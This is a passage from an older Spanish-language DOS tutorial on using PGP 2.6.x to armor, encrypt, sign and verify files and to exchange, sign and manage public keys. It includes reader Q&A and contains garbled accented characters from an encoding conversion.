archivo.??? Puedes cifrar cualquier clase de archivo: un texto en ASCIIs simples; un texto con formato de word, o de wordperfect, o de cualquier procesador por el estilo; un archivo de programa, aunque no se le ve mucha utilidad a esto ·ltimo a no ser que sea un programa original tuyo o de otro que quieras proteger para que otros no lo copien. En el proceso de descifrar te pedirß el programa la clave, o frase contrase±a. A.Cifrar y codificar en ASCIIs simples Los archivos .pgp no son aptos para ser tratados como texto por un manejador de correo electr≤nico. Hay programas de manejo de correo (yo conozco el llamado pine) que sφ pueden transmitir archivos que no sean de ASCIIs simples, pero sometiΘndolos a un proceso de codificaci≤n a ASCIIs simples, y mandßndolos no como simple correo, sino como archivo pegado (attachement). Pero esto s≤lo funciona cuando quien recibe el correo tiene tambiΘn un manejador de correo con la capacidad de descodificarlo. El codificador y descodificador que utiliza pine se llama mime. El PGP tiene integrado un codificador que transforma cualquier archivo a uno equivalente en ASCIIs simples. Se a±ade el parßmetro -a del siguiente modo: cifras con el comando: pgp -ca archivo.??? Y el resultado serß: archivo.asc. El archivo.asc estarß cifrado y codificado en ASCIIs simples, y podrß pasar por cualquier manejador de correo electr≤nico. Descifras con el comando: pgp archivo.asc Y el resultado serß: archivo. (sin terminaci≤n) y serß igual a archivo.??? A.Guardar tu llave p·blica en un archivo que sea tu_nombre.asc Ya que hemos hecho ejercicio de generar archivos cifrados en ASCIIs simples, es conveniente tambiΘn hacer un archivo en ASCIIs simples cuyo contenido sea el pubring.pgp. Asφ podrßn pasarse por correo electr≤nico las llaves p·blicas. Por haber generado tu par de llaves, tienes los archivos pubring.pgp y secring.pgp. Ahora s≤lo trataremos del primero, pues no tiene caso trabajar asφ con el secring.pgp, pues es un archivo que no se pasarß nunca ni por correo ni de ninguna otra manera. El comando es: pgp -a pubring.pgp En el proceso se te preguntarß que si ese archivo fue generado por PGP. Le dices que sφ y el proceso proseguirß. El resultado serß el archivo pubring.asc Como hasta ahora el contenido de pubring.asc es s≤lo una llave p·blica, la tuya, puedes copiarlo como tu_nombre.asc. Y esa es tu llave p·blica en aptitud para transitar por correos electr≤nicos. Pero en realidad, a la corta o a la larga, no guardarßs asφ simplemente tu llave p·blica para pasarla por correo-e, porque querrßs mandarla hasta que otro de fe de ella o la autentifique con su firma. Asunto posterior del capφtulo IV. A.El PGP habla de "armadura" de ASCIIs Porque utiliza la imagen de que ha metido un archivo en una armadura. Se metφan en las armaduras para protegerse de los proyectiles enemigos (piedras, flechas, balas de arcabuz). Ahora se meten los astronautas en su traje espacial para protegerse del ambiente hostil que es la falta de atm≤sfera y de gravitaci≤n. Metemos los archivos .pgp en una armadura (.asc) para que puedan transitar por ese medio especφfico que son los correos electr≤nicos que dejan intactos los caracteres de la tabla de ASCIIs simples y o no entienden o modifican los demßs. en el config.txt activamos la lφnea "armor = on", estamos instruyendo a PGP que siempre que se pueda meta en armadura de ASCIIs simples los archivos que genere. I.Intercambiar llaves p·blicas A.Conservar la propia llave p·blica Si quiere uno conservar aparte por sφ sola la propia llave p·blica se hace una copia del pubring.pgp con otro nombre. Por ejemplo jhdez.pgp. Asφ, si alguien pide la llave p·blica se le copia el archivo jhdez.pgp en un disquete suyo. Es la manera directa de pasar la llave p·blica a otra persona. El tendrß la seguridad de que es la llave verdadera porque estß seguro que se la copi≤ el due±o en su disquete. NOTA: Si tu pubring.pgp ya tiene varias llaves, hay otra manera de que extraigas de allφ tu llave p·blica. Pero de esto se tratarß mßs adelante. El archivo jhdez.pgp, que es la copia de pubring.pgp cuando s≤lo tiene la llave p·blica de Juan Hernßnez, no es capaz de transitar por el correo electr≤nico porque es un archivo en el que hay caracteres que no son lo que hemos llamado ASCIIs puros (del 33 al 127 de la tabla de ASCIIs). Pero se puede meter jhdez.pgp en una armadura de ASCIIs puros con el comando: pgp -a jhdez.pgp. El resultado serß: jhdez.asc Y este archivo sφ puede transitar por el correo electr≤nico. Y es la manera como podemos pasar nuestras llaves p·blicas a otros por correo electr≤nico. A.Guardar llaves p·blicas en el llavero propio Quien recibe en su correo una llave p·blica la puede meter a su llavero p·blico con la orden: pgp archivo.???, donde "archivo.???" es el nombre del archivo de su correo. Por ejemplo: Yo recibφ un correo que pasΘ a mi computadora como correo.txt. Ese correo es una llave p·blica. Con la orden pgp correo.txt me dirß el programa que el contenido es una llave p·blica y que si la quiero a±adir a mi llavero. Si le digo que sφ, aumentarß mi pubring.pgp con esa nueva llave. A.Certeza sobre que la llave es de quien dice que es Pero nos topamos con un problema de seguridad. ┐Estoy cierto de que esa llave p·blica es verdaderamente de quien dice que es? ┐No se meti≤ en la cuenta del amigo que me escribe otra persona y me estß mandando una llave p·blica que no es la de Θl como si sφ lo fuera? Cualquiera puede generar un par de llaves asumiendo cualquier nombre. 1.Soluci≤n por medio de la huella digital de la llave Pedro PΘrez me mand≤ por correo su llave p·blica y yo ya la a±adφ a mi pubring.pgp. Veo la huella digital de la llave de Pedro con el comando: pgp -kvc pedro pubring.pgp. la respuesta serß una serie de n·meros y letras que apunto y luego le telefoneo a Pedro PΘrez. Estando seguro que es Θl porque le conozco la voz, y porque le llamΘ a su casa y por lo que platicamos, le digo que recibφ su llave p·blica y que la huella digital es tal y tal. El checa con la misma orden de arriba en su llavero p·blico y me dirß que sφ o que no es, seg·n el caso. [La huella digital consiste en dos series de ocho n·meros hexadecimales de dos guarismos cada uno] 1.Soluci≤n por medio de llaves firmadas, o autenticadas Hablemos de Pedro PΘrez, de Fernando Fernßndez y de Juan Jußrez. Pedro PΘrez recibi≤ por correo-e la llave de Fernando Fernßndez, y venφa firmada (autenticada) por Juan Jußrez. Por otra parte Pedro tiene en su llavero la llave p·blica de Juan recibida directamente del mismo Juan. Al descifrar con la orden pgp correo.txt el programa le dirß que es la llave de Fernando y que viene firmada por Juan. Si no tiene en su llavero la llave de Juan el informe que recibirß es que viene firmada por un firmante desconocido. Cuando a±ada a su llavero la llave de Juan todo se arreglarß y Pedro tendrß la garantφa dada por Juan de que la llave de Fernando es realmente de Fernando. Si Pedro le cree o no a Juan, es su bronca. A.Guardar una llave recibida en formato llave.pgp y no en llave.asc Pero yo no recibφ por correo una llave. Me la dio en disquete su due±o y no viene en formato . asc asφ que no puedo simplemente descifrarla con la orden pgp jhdez.pgp. ┐C≤mo la a±ado a mi llavero? La a±ado con la orden: pgp -ka jhdez.pgp pubring.pgp Aquφ supongo que "jhdez.pgp" es la llave p·blica tal como me la dieron quizß ya firmada por otro. A.C≤mo se firman las llaves Cada uno puede firmar la o las llaves que tenga en su llavero. Para esto lo primero es incorporar al propio llavero la o las llaves que va uno a firmar. Por ejemplo: en mi llavero tengo las llaves mφa y las de Pedro PΘrez, Fernando Fernßndez y Juan Jußrez. Y quiero firmar la de Juan. Procedo: pgp -ks Juan pubring.pgp y va uno contestando las preguntas que vaya haciendo el programa. Al final queda firmada por mφ la llave de Juan. A.C≤mo aislo la llave de Juan Jußrez Se aisla una llave para poder tenerla sola y pasarla a otros y al mismo Juan Jußrez para que Θl la tenga (y pueda pasarla) con todo y mi firma. con el comando: pgp -kx juan juan.pgp pubring.pgp o si quiero el archivo en armadura de ASCIIs puros: pgp -kxa juan juan.asc pubring.pgp Y seg·n la orden usada tendrΘ la llave p·blica de Juan Jußrez ya sea como juan.pgp, o como juan. asc. Sugerencia: Varios que estΘn relacionados por su trabajo, o por cercanφa geogrßfica, o por otros motivos pueden nombrar a uno que sea algo asφ como su notario oficial para autentificar las firmas de ese grupo. Ese "notario" debe ser conocido por varias de las gentes conocidas a su vez en su sistema de comunicaci≤n electr≤nica. El notario consigue en directo que los conocidos del sistema le autentifiquen su llave p·blica en forma directa con presencia personal; Θl, a su vez, irß autentificando por conocimiento directo las llaves p·blicas de los de su grupo. Pero sin que la firma de ese notario se convierta en obligatoria. Cada uno puede hacer certificar su llave p·blica de la manera que quiera. Los "notarios" son para ayudar, pero no para adquirir el control de la autenticidad de las llaves de determinado grupo. A.Examinar nuestro llavero p·blico Con las llaves p·blicas que vamos recibiendo de otros se va enriqueciendo nuestro llavero pubring.pgp. Podemos, si asφ lo deseamos, asomarnos dentro del llavero para saber cußntas llaves tenemos y de quiΘnes. La orden pgp -kv pubring.pgp da como resultado el contenido del llavero; La orden pgp -kvm pubring.pgp o bien: pgp -kv pubring.pgp | more da el contenido del llavero, pero parte por parte. No pasa por la pantalla todo el contenido, sino que se va deteniendo pantalla por pantalla. La orden pgp -kv pubring.pgp > archivo.txt Da por resultado un archivo de texto con el contenido del llavero. NOTA: En cualquiera de estos casos se puede a±adir otra "v" a los parßmetros del comando (-kvv, -kvvm). El resultado darß mßs detalles de informaci≤n: tambiΘn aparecerß con quΘ firmas estß autenticada cada llave. Si en tu config.txt has instruido a PGP que siempre act·e con muchas palabras (verbose = 2), -kv funcionarß como si fuera -kvv -kv = ver el llavero -kvv = ver el llavero con respuesta de mßs palabras ("verbose") NO NOS CONTENTEMOS CON SABER ESTO. PractiquΘmoslo. T≤mese cada uno el tiempo para examinar el contenido de su llavero p·blico, pubring.pgp; para verlo en pantalla y para generar un archivo de texto, con menos y mßs informaci≤n. A.Observaciones Algunos han puesto como identificador un nombre: Mauricio, javier. Esto dificultarß cifrar documentos si es que hay otro Mauricio u otro Javier. ┐C≤mo distinguirlos? Es bueno que pongan tambiΘn su apellido. Pueden modificar su identificador con el comando: pgp -ke identificador [llavero], o en concreto: pgp -ke Mauricio pubring.pgp Y seguir las instrucciones que vayan saliendo. Quedarß una llave con dos identificadores. Luego habrß que quitar el identificador incompleto con la orden: pgp -kr mauricio pubring.pgp, y asφmismo ir siguendo las instrucciones de PGP. Alguno s≤lo ha puesto como identificador su nombre institucional. No es buena polφtica la de que varios individuos compartan una misma llave con su clave (contrase±a). La llave privada y la frase con que se abre Θsta son secretos que deben ser muy bien guardados. El formato de los identificadores suele ser: fulano de tal <direcci≤n electr≤nica> Juan Hernandez <jhdez@servidor.unam.mx> Si alguno no tiene direcci≤n electr≤nica puede poner dentro de los parΘntesis angulares, un n·mero de telΘfono, o un apodo, o algo que lo identifique a Θl solo. A.Digresi≤n de preguntas y respuestas Esto no forma parte del instructivo en directo. Son preguntas y respuestas que tienen que ver con lo que va del instructivo. (P/): Hoy recibφ tu mensaje y ya estuve practicßndolo, primero saquΘ todas las firmas que venφan en el programa (Zimmerman y demßs). (R/): Te sirvi≤ de ejercicio y eso es bueno. Supongo que te refieres a las que vienen en el programa como keys.asc. Son las de los productores y mantenedores del PGP. Yo lo que fue guardarlas como un llavero aparte. Hasta ahora no me he metido a explicar como hacer diversos llaveros. De hecho yo hice un llavero que llame "pgpjefes.pgp", con su poco de humor y puse allφ todas esas llaves ademßs de la mφa. ┐Como se hace? Con pgp -ka pubring.pgp pgpjefes.pgp, y cuando el PGP te pregunte si vas a±adiendo tal y tal llave al llavero pgpjefes.pgp le vas contestando sφ o no. Para esto debes tener activado en tu config.txt la linea interactive = on, porque si no, te pasa de golpe todas las llaves contenidas en keys.asc y tendrßs que ir quitando una por una las que no quieras en el llavero pgpjefes.pgp. Te sirven para checar los programas de PGP que hayas bajado o los que puedas bajar en el futuro. TambiΘn por si alguna vez le escribes en cifra a Zimmermann o alg·n otro de ellos. Yo he estado usando la de Armando Ramos, que es el que se ha encargado de hacer las traducciones al castellano. Pero mayor utilidad no creo que tengan. P/: ┐C≤mo firma mi llave p·blica otro con quien puedo estar en contacto directo? R/: Fulano tienen tu llave publica. T· eres sutano. Entonces la firma Θl en su llavero: pgp -ks sutano pubring.pgp Luego la extrae de su llavero: pgp -kx sutano sutano.pgp pubring.pgp, o: pgp -kxa sutano sutano.asc pubring.pgp Luego te da la copia del archivo sutano.pgp o sutano.asc Si es sutano.asc, con el simple descifrarlo irß a tu pubring.pgp. Si tu sutano.asc estß en un disquete puedes usar la orden: pgp a:\sutano.asc. Esto sucede si tienes en tu autoexec.bat el set pgppath = c:\pgp o el directorio correspondiente. Y luego distribuyes por el correo electr≤nico ese archivo sutano.asc, que es tu llave publica firmada por fulano, en armadura de ASCIIs simples. Si es sutano.pgp, metes su contenido a tu llavero con: pgp -ka sutano.pgp pubring.pgp Y despuΘs extraes tu llave para el correo electr≤nico: pgp -kxa pubring.pgp sutano.asc P/: En la llave de perengano que le firmΘ personalmente, hay varias firmas que aparecen como desconocidas, ┐a quΘ se debe eso, a que yo no las tengo como registradas o que las firmas en sφ no estßn validadas? ┐Me expliquΘ o me hice bolas? R/: Para que el PGP reconozca una firma, tiene que estar la llave p·blica del que la firm≤, en el mismo llavero. O sea, que deben estar en tu pubring.pgp las llaves p·blicas de los que firmaron la de perengano. Pero lo importante es que haya una a la que t· le confφes y entonces la firmas para ti en tu llavero. Luego podrßs quitarle luna firma in·til con la orden:: pgp -krs perengano pubring.pgp P/: ┐c≤mo puedo confirmar tu llave p·blica? R/ La bronca estß en quΘ tan cierto estßs de que yo soy la persona que digo ser en el correo electr≤nico. Que no me estoy inventando una personalidad para el correo electr≤nico, ni que haya otra persona que se ha metido a mi cuenta de correo electr≤nico simulando que soy yo y asφ ha generado un par de llaves p·blica-secreta y ha estado comunicando la p·blica como si fuera mφa. Podemos andar en trabajos y actividades por la paz, por los derechos humanos, etc., que no les caen bien a muchos sectores del gobierno y a otros con capacidad de organizar sus servicios de inteligencia. Sup≤n que alguno de ellos logra hacerse pasar por mφ, y al en muy buena onda da tiempo y trabajo a ayudar a los grupos de los que desea extraer informaci≤n y vigilar. Y luego, ganada la confianza, saca la informaci≤n que anda buscando. Por tanto la ·nica manera de que puedas estar seguro de que mi llave p·blica que tienes es realmente mφa es que te la dΘ en persona. O que alguien en quien t· confφas te la dΘ en persona y la haya recibido de mφ en persona. O que ese alguien en quien confias y de quien recibiste en persona su llave p·blica te mande, firmada por Θl, mi llave p·blica. I.Cifrar archivos al modo del PGP A.Cifrar para otros Se cifra para otros con la orden: pgp -e archivo.??? fulano [otros], o como estß en la ayuda: pgp -e fnormal identificador_des Ejemplo: pgp -e carta.doc fulano Asφ cifras "carta.doc" para fulano. El resultado, o sea, el archivo cifrado, serß carta.pgp; De haber cifrado con pgp -ea, el resultado habrφa sido carta.asc. Y si hubieras usado el parßmetro -w el archivo original no cifrado se habrφa borrado de tu disco. A.Pero salen varias dudas 1.Hay dos o mßs que tienen el mismo identificador Para evitar identificadores repetidos se usa como identificador o bien una palabra que no se repita en la lista con ning·n otro, o emplear algo mßs largo que una sola palabra. Por ejemplo, para Juan Hernßndez <jhdez@servidor.unam.mx> el identificador puede ser juan o hernandez o jhdez. Usar el que no se repita con otros. Puede haber una llave de Juan Martinez o de Pedro Hernandez. Ya no puedo usar ni 'Juan', ni 'Hernandez' como identificador. Las comillas vienen en nuestra ayuda. Puedo escribir "juan hernandez" (con las comillas) como identificador. (Hay otro modo de identificar llaves. Ver mßs adelante: IX D) 1.Cifrar para varios Sabemos que se pueden poner uno tras otro muchos identificadores. Pero hay un lφmite: el rengl≤n del comando no puede ser de mßs de 127 caracteres. Si la lista de aquellos para los que quiero cifrar es grande, y mßs si he de usar identificadores largos agrandados las comillas y de varias palabras, me paso del lφmite permitido en una sola lφnea de comando. La versi≤n 2.6.3i tiene una soluci≤n, que no estß en la versi≤n 2.6.2i. En Θsta no queda mßs remedio que cifrar varias veces y luego tener cuidado de mandar lo cifrado precisamente a aquellos para los que se cifr≤ cada vez. Bien molesto y con peligro grande de equivocaciones. Y no se puede mandar lo mismo a toda la lista. Y por esta raz≤n se aconseja que cambien a la versi≤n 2.6.3i. En la versi≤n 2.6.3i se pone como identificador el nombre de un archivo de texto precedido por -@ Y por otro lado se escribe un archivo de texto con los identificadores, uno en cada rengl≤n. Asφ, la orden para muchos serß: pgp -e carta.doc -@llaves.txt Con el supuesto de que llaves.txt es un archivo con la lista de los identificadores. Un ejemplo: Juan hernandez (sin necesidad de comillas) pedro hernandez (sin necesidad de comillas) fulano sutano perengano armando flores (sin necesidad de comillas) 1.C≤mo firmar el texto ademßs de cifrarlo Se a±ade el parßmetro -s. Enviando un archivo cifrado sΘ que s≤lo el o los destinatarios podrßn leerlo. Recibiendo un archivo firmado sΘ que realmente proviene de quien dice que me lo manda, puesto que tengo su llave p·blica. Sin ella recibirφa el mensaje de "firmante desconocido". pgp -es archivo.??? identificador [otros identificadores] Y para meterlo en armadura de ASCIIs puros: pgp -esa archivo.??? identificador [otros identificadores] 1.Si mi archivo por cifrar es muy grande Si el archivo que se va a cifrar y meter en armadura de ASCIIs simples es grande, pueden resultar dos o mas archivos cifrados y numerados. Si cifrΘ el archivo cartas.doc podrßn resultar: cartas.as1, cartas.as2, 1.Un escrito muy confidencial ┐Puedo cifrar mi carta confidencial de tal modo que quien la reciba s≤lo la pueda leer en su pantalla y no se grabe en su computadora? Sφ. Es como decirle: "este texto se borrarß una vez que lo leas. No se grabarß. Si quieres volver a verlo lo tienes que descifrar de nuevo." Se supone que se trata de un texto legible directamente en pantalla. La orden es con el parßmtero -m: pgp -e[s][a][w]m carta.txt identificador. Va la [s] entre corchetes para indicar que puede o no firmarse el documento seg·n uno quiera poniendo o no ese parßmetro. Lo mismo la [a] por si quiere uno o no usar la armadura de ASCIIs. Si quieres que tu archivo original se borre en tu mßquina a±ades el parßmetro -w{wipe} A.Otra digresi≤n de preguntas y respuestas P/: Ahora bien, mßs importante a·n es continuar utilizando este sistema entre nosotros/as para que llegue el momento en que sea la forma com·n de enviarnos TODOS los mensajes. Esto nos evitarß llamar la atenci≤n a los "ojos" y "oφdos" invisibles. R/: Sin duda que lo que sugieres es una buena polφtica de seguridad. Es un poco mßs de trabajo, esto de cifrar todo antes fuera de lφnea. Existe un programa para manejar el PGP en combinaci≤n con lectores fuera de linea. Hay tambiΘn programas que cifran lo que se va a mandar por correo-e y lo descirfran al recibirlo. P/: No me funcion≤ el comando: pgp -esa carta.doc -@llaves.txt. El que sφ me funciona es: pgp -esa carta.doc fulano sutano (etc.) R/: No te funciona ese parßmetro (-@llaves.txt) porque no tienes la ultima versi≤n del PGP que es la 2.6.3i. Esta posibilidad de usar este parßmetro es de las cosas nuevas de la versi≤n ·ltima. El comando pgp -esa carta.doc fulano sutano (etc) tiene la limitante de que la lφnea de comando del PGP admite un mßximo de 127 caracteres. Ademßs, claro, de la que dices de que no siempre se acuerda uno de poner todos los identificadores. Por eso la insistencia en que consigamos esta nueva versi≤n. I.Descifrar los archivos recibidos A.Caso ordinario Conocemos ya la orden, que es la mßs sencilla del PGP, puesto que no lleva parßmetro ninguno. La conocemos por haber ejercitado el cifrado y descifrado a la manera tradicional. Y es: pgp archivo.??? La extensi≤n del archivo por descifrar serß generalmente o bien pgp o bien asc. Pero puede ser otra, como cuando bajas de tu correo un archivo con un nombre dado por ti. El resultado del descifrado serß un archivo sin extensi≤n ninguna. Descifras, por ejemplo, el archivo carta. asc, y el resultado serß el archivo carta. Si tienes un archivo hφbrido en el que hay texto abierto, y texto o textos cifrados, o alguna llave p·blica, el PGP es lo suficientemente ducho como para ir distinguiendo los diversos componentes. Y te irß guiando en lo que hay que hacer. A.Situaciones especiales al descifrar 1.Quiero leer el archivo descifrado en mi pantalla, sin que se grabe en mi disco. Esto evidentemente s≤lo se aplica si estoy seguro de que lo que estoy por descifrar es un archivo de texto legible directamente en pantalla. Se utiliza el parßmetro -m. La orden es: pgp -m carta.txt Y de todos modos tendrßs la opci≤n de guardar en un archivo lo que hayas leφdo pantalla por pantalla. Podrßs darle un nombre que incluya una ruta para que se grabe en otro directorio. 1.Me llegaron varios archivos cifrados con el mismo nombre y extensiones en serie: carta.as1, carta.as2, carta.as3... Esto quiere decir que el pgp al cifrar un archivo produjo mßs lφneas que las marcadas como lφmite en el config.txt y fue entonces construyendo uno o varios archivos de Θse n·mero de lφneas y el ·ltimo mßs corto. Por correo-e los recibo de varias formas: En una sola sesi≤n bajo todo mi correo en un solo archivo. ╔ste puede traer texto ordinario y mensajes cifrados. Para el manejo de estos, simplemente descifro ese archivo que es todo mi correo. El programa sabrß quΘ hacer con Θl, y si vienen varios trozos del mismo archivo cifrado en su orden natural, el PGP lo descifrarß sin dificultad, Mandarß un mensaje de error y advertencia si no estßn en su orden debido. En la misma sesi≤n vφ que habφa varios mensajes pegepeados y los "subjects" me lo avisan. Los voy bajando con el mismo nombre: carta.as1, carta.as2... Y luego para descifrarlos los uno en solo archivo con la orden de DOS: copy carta.as1+carta.as2+carta.as3 carta.asc Y asφ me resultarß el archivo carta. asc, que es el que descifrarΘ. No hay ninguna indicaci≤n. Entonces yo examino el correo pegepeado, y allφ vendrß, dentro de cada correo, la indicaci≤n de quΘ n·mero de serie es. Y esto antes o despuΘs de bajarlo. Fuera de lφnea hago la fusi≤n como arriba con copy y sumas. 1.Al descifrar me dice el PGP que el archivo estß firmado, pero que el firmante es desconocido Esto quiere decir que no tengo en mi llavero la llave p·blica de quien cifr≤ para mφ el archivo recibido. De todos modos lo podrΘ descifrar. I.Firmar archivos de texto abierto En ocasiones lo que nos importa no es que no se pueda leer un texto que escribimos, pero sφ que quien lo recibe tenga la seguridad de que ese texto sali≤ de nosotros y no tiene absolutamente ning·n cambio. O sea, mandar un texto firmado, pero no cifrado. A.Para quΘ firmar sin cifrar Para comunicar algunas instrucciones que otro con quien s≤lo nos comunicamos por correo electr≤nico las ejecute, con la seguridad de nuestra parte de que no fueron modificadas por nadie, ni en el camino, ni por el mismo que las recibi≤. Que no haya eso de que t· me lo escribiste asφ. Para mandar disquete con instrucciones o cualquier otro escrito del que queremos que quien lo reciba estΘ seguro dee que nada ha cambiado. El correo que transporta el disquete podrß cambiar el texto, pero si lo hace, el PGP darß el mensaje de firma invßlida. Para que un convenio quede escrito y las dos o mßs partes involucradas en Θl tengan la certeza de que todos manejan el mismo texto y precisamente el texto en el que quedaron de acuerdo. Y esto sin necesidad de que hagan la firma del convenio en el mismo lugar y al mismo tiempo. Puede hacerlo cada uno en su lugar a su conveniencia. Supongamos que t· yo hemos estado hablando sobre un convenio que queremos quede escrito y firmado por ambos. Pero cuando hablamos no tuvimos todavφa la posibilidad de perfilar todos los detalles, porque habφa que consultar a otras personas o datos en el lugar donde vivimos o hemos estado negociando los tΘrminos del convenio s≤lo por correo electr≤nico. Cuando yo ya lleguΘ a la redacci≤n del convenio a mi satisfacci≤n y pienso que tambiΘn a la tuya, escribo el convenio, lo pgpfirmo y te lo mando. Si t· estßs de acuerdo lo pgpfirmas y me lo mandas asφ. Los dos tenemos el mismo texto firmado por ambos. Cuando t· compruebas mi firma el PGP te genera un texto sin firmar cuyo nombre de archivo queda sin extensi≤n. Recibo "convenio.txt" firmado por ti, leo el aviso de que la firma es buena y de que tengo un archivo que se llama "convenio.". (Es igual a convenio.txt pero sin la firma.) ╔ste es el que firmo y te mando. En general usaremos la pgpfirma de igual manera que la firma manuscrita. Claro que no exactamente igual porque ni los bancos ni los notarios ni los tribunales aceptan todavφa estas firmas como buenas. Siempre las legislaciones van atrßs y a veces muy atrßs de la vida. A.Condiciones para pgpfirmar un texto abierto Que el texto estΘ en ASCIIs simples. Con la versi≤n 2.6.3i pueden usarse los caracteres de texto de los conjuntos de caracteres de 7 y 8 bits para textos. Esto concretamente significa para nosotros que los textos que se irßn a firmar pueden llevar acentuadas, ±s y signos de abrir interrogaci≤n y admiraci≤n. Y el PGP se encargarß de avisar cußl es el conjunto de caracteres que estß uno usando. Serß el que estΘ declarado en el config.txt. Si revisan el config.txt que copiΘ en I E verßn que existe la lφnea: CharSet = cp850. Que decidamos si vamos a querer la firma con o sin armadura de ASCIIs. En el fondo creo que serß bueno que siempre sea en armadura porque puede uno necesitar de pronto enviarlo por correo electr≤nico, y por otra parte la funci≤n de firmado es la misma. Que tengamos nuestra llave privada (que es secreta) en el secring.pgp B.Procedimiento Utilizar la orden: pgp -tas carta.txt. El PGP usa tu llave secreta y por eso necesita abrirla y te pregunta tu clave. El resultado serß carta.asc, o, si no usaste el parßmetro -a, carta.pgp. Vale la pena que por vφa de ejercicio pgpfirmes algunos documentos en una forma y en otra y luego los examines y veas los diversos resultados. Tener en tu config.txt activados los renglones: Armor = on # Use -a flag for ASCII armor whenever applicable TextMode = on # Attempt to use -t option where applicable equivale a escribir los parßmetros -at. Si PGP detecta que hay caracteres que no pertenecen a ning·n conjunto para textos, meterß a la armadura no s≤lo la firma, sino tambiΘn el texto. A.Comprobar la firma El mismo procedimiento que para descifrar: pgp carta.asc, o: pgp carta.pgp El programa te dirß despuΘs de una comprobaci≤n si la firma es buena o no y te darß un peque±o informe. Ademßs te generarß un archivo sin terminaci≤n que es lo que te lleg≤ firmado, sin la firma. Y Θste es el que firmas t· para mandßrmelo a mi si se trata de un convenio. Asφ, yo tendrΘ el convenio firmado por ti y t· por mφ. A.La pgpfirma en archivo separado del texto Es posible pgpfirmar un texto de modo que resulte un archivo con la sola firma separada del texto. Al comprobar una firma asφ con la orden pgp firma.asc pedirß el programa que se indique el archivo al que se refiere esa firma. Si se lo escribimos correctamente y tenemos ese archivo sin ninguna modificaci≤n, dirß que la firma es buena. La ventaja principal es para cuando se quiere firmar un convenio de mßs de dos. Si el convenio es entre cinco, no habrß que tener cinco textos firmados cada uno con cada una de las cinco . Un s≤lo texto y cinco archivos de firmas. Pero íOjo! Nos irßn llegando las firmas con el mismo nombre: carta.asc. Tener cuidado de renombrarlos, por ejemplo, carta01.asc, carta02. asc... , Pero es mejor que cada uno al firmar d┤┤e un nombre especφfico a la firma separada. Por ejemplo, cartajh.asc (jh son las iniciales de Juan Hernßndez) en vez de s≤lo carta.asc. Se obtiene la firma por separado con la orden pgp -sba carta.txt y el resultado es carta.asc, que es la firma sola. Para que el resultado sea otro la orden serß: pgp -sba carta.txt -o cartajh.asc (Ver IX B) Entre los archivos del directorio \pgp distribuido en la versi≤n 2.6.3I hay uno que es firma por separado: pgp263ii.asc. Intenten descifrarlo como ejercicio. Es la firma de pgp263ii.zip. Como se ve esto de las firmas separadas es un poco complicado y sobre todo no ha sido hasta ahora de uso frecuente y por eso se olvida fßcilmente c≤mo funciona. Cada uno verß si le invierte tiempo ahora en la prßctica de esto, o mejor cuando vea que lo va a necesitar. I.Manejo de llaveros y de llaves Ya hemos visto algunas de las funciones del programa que tienen que ver con el manejo de llaves y llaveros. Pero hasta ahora hemos estado en el supuesto de que s≤lo tenemos un llavero p·blico, el puring.pgp y uno privado, el secring.pgp. Pero puede ser que queramos tener varios llaveros p·blicos (y quizß varios secretos, lo cual creo que tiene menos utilidad y complica mucho las cosas). El o los llaveros p·blicos contendrßn varias o muchas llaves. El privado suele tener s≤lo una, a no ser que hayamos generado varias llaves con identificadores y claves (frase-contrase±a) distintas, o que compartan varios el mismo programa.. Manejar llaveros muy grandes hace todas las operaciones muy lentas. Zimmerman lo dice en el documento n·mero 2. Por muy grande piensa en mßs de un par de cientos. Y no creo que por lo pronto queramos tener mßs. Creo que la utilidad de tener varios llaveros p·blicos es mßs bien para agrupar las llaves p·blicas por categorφas de personas. En todos los llaveros es bueno que estΘ la propia llave p·blica. Por vφa de ejemplo: yo tengo tres llaveros ademßs del pubring.pgp: uno con las llaves que vienen en el archivo keys.asc y que son las de los que desarrollan de alguna manera el PGP, otra con las llaves de un grupo de amigos y otro con las de un grupo que trabajamos en com·n , y en mi pubring.pgp he sumado los dos ·ltimos. Viendo con pgp -h el archivo de ayuda del programa se darßn cuenta que muchas veces el llavero (en ese archivo es llamado "anillo") viene entre parΘntesis cuadrado para denotar que es opcional. Si no se escribe en el comando, el programa usarß el llavero por omisi≤n (por defaul, decimos a veces), que es el pubring.pgp o el secring.pgp seg·n el caso. Y con el nombre que estΘ declarado en el config.txt. En esa ayuda se habla de fdeclaves (archivo de llaves) y de anillo (llavero). ┐Son lo mismo? No exactamente siempre, aunque a veces sφ. Los llaveros son un conjunto de llaves con terminaci≤n pgp y el formato propio de las llaves. A veces un llavero cumple tambiΘn la funci≤n de un archivo de llaves. El archivo de llaves puede tener terminaci≤n y formato .asc; puede tener cualquier otra terminaci≤n y estar revuelto con textos. Como cuando nos llega en el correo electr≤nico un mensaje y dentro de Θl una o varias llaves. O porque bajamos del correo todos nuestros mensajes en uns≤lo archivo y allφ se encontrarßn textos abiertos, textos pegepeados y llaves. En estos casos al descifrar ese archivo el pgp dirß si se encuentra una llave. Para las otras funciones de manejo de llaves archivo de llaves serß un conjunto de llaves en formato .pgp o en formato .asc. El cuadro que sigue nos dice lo que ya sabemos, aunque viene con informaci≤n adicional, porque puede uno tener varios llaveros p·blicos e incluso varios secretos Generar nuestro par de llaves p·blica-privada pgp -kg El resultado son pubring.pgp, secring.pgp y randseed.bin (Luego veremos para quΘ es este archivo) A±adir llaves nuevas a un llavero. Al generar tu par de llaves te result≤ un par de llaveros de una llave cada uno: pubring.pgp y secring.pgp pgp -ka archivo_origen [llavero_destino] Si no se escribe el llavero_destino va al defaul, que es pubring.pgp, o el que se haya indicado en el config.txt, o el secring.pgp seg·n que el contenido del archivo_origen tenga por contenido llaves p·blicas o privadas. Meter nuestro llavero p·blico, con una o con muchas llaves, a una armadura de ASCIIs simples con la que es capaz de sobrevivir en el medio inh≤spito de las mßquinas de 7 bits. pgp -a pubring.pgp El resultado serß pubring.asc, que no es llavero, sino archivo de llaves. Es la colecci≤n de llaves en formato .asc, pero no funciona como llavero. Sacar copia de cualquier llave que estΘ en nuestro llavero p·blico (e igual se hace con el privado o secreto) y conservarla en un archivo cuyo contenido es s≤lo una llave. pgp -kx ident archivo_destino.pgp llavero_origen. O bien: pgp -kxa ident archivo_destino.asc llavero_origen Examinar cualquier llavero para saber de quΘ llaves consta. La segunda "v" opcional se usa para ver tambiΘn quΘ firmas tiene cada llave (v=verbose). Si no se escribe ning·n ident se verßn todas. pgp -kv[v] [identif] [llavero] Suprimir una llave o s≤lo un identificador, de un llavero pgp -kr ident [llavero] A±adir un identificador o modificar la clave en el llavero privado pgp -ke ident [llavero] Firmar la llave de un 